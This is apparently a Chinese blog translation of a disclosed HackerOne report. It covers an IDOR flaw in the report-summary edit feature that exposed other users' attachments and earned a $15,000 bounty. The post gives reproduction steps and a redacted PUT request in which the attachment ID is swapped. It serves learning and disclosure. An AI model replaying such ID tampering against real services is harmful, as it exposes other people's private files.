白帽故事 · 2024年4月29日

最新H1越权漏洞披露,获得15000美元奖励

背景介绍

file

HackerOne (以下简称H1)平台今日披露了自己平台的一个严重级漏洞,该漏洞允许攻击者通过摘要编辑功能未授权访问他人附件。该漏洞于今年3月30日上报,于今日被H1公开披露,H1为该漏洞向白帽黑客支付了$15,000的赏金奖励,该漏洞作为漏洞赏金猎人的学习/参考材料非常有用,对于开发人员来说:通过学习该漏洞的发现来尽量开发安全的应用程序也是非常有用的。

漏洞披露

通过操纵请求中的附件 ID,攻击者可以查看本应受到限制的敏感文件,核心问题是不安全的直接对象引用 (IDOR) 漏洞 (CWE-639),在编辑摘要报告时,可以获得访问他人附件的权限,这对用户数据的机密性构成了严重风险,并可能导致敏感攻击细节和利用信息的泄露。

H1 平台提供了一种用于向各种程序报告漏洞的表格,表单支持上传文件和预览(图像或视频),但不允许使用属于其它帐户的文件 ID。但通过摘要报告功能,却只需更改 ID 即可泄露属于其它用户的文件。

白帽黑客通过提交报告、编辑报告表单调用属于其它帐户的文件,均未成功,得到响应 "was_successful":false, ,但幸运的是,白帽黑客找到了另一个端点(即摘要报告功能中),能够读取属于其它帐户的文件。

漏洞复现步骤

  1. 攻击者创建草稿或现有报告,然后创建摘要
  2. 然后编辑摘要并将文件提交
  3. 拦截请求,将攻击者文件ID更改为受害者文件ID
  4. 在Markdown预览中即可读取受害者附件文件
通过添加摘要报告泄露的附件:

受害者附件文件id:
3155239

修改 3155244 为 3155239
攻击者附件文件: 

3155241
3155242
(如果文件ID来自攻击者)"was_successful":true, 如果将ID修改为受害者"was_successful":false

尝试通过内容泄露 : 失败
通过摘要泄露: 成功

请求包:

PUT /reports/████/summaries/███████ HTTP/2
Host: hackerone.com
.....all header ...
Content-Length: 908
Origin: https://hackerone.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

{"id":████████,"category":"researcher","content":"TESTEDIT\n\n{F3155244} ","updated_at":"2024-03-30T17:16:29.625Z","user":{"id":█████,"username":"█████","name":"██████████████","bio":"please see pdfx","cleared":false,"verified":false,"website":null,"location":"","created_at":"2024-03-29T11:27:50.077Z","url":"https://hackerone.com/██████████","hackerone_triager":false,"hackerone_employee":false,"user_type":"hacker","profile_picture_urls":{"small":"/assets/avatars/default-█████.png","medium":"/assets/avatars/default-███████.png","xtralarge":"/assets/avatars/default-███████.png"}},"can_view?":true,"can_create?":true,"attachments":[],"action_type":"publish","attachment_ids":[
3155239]}

以上内容由骨哥翻译并整理。

报告链接:https://hackerone.com/reports/2442008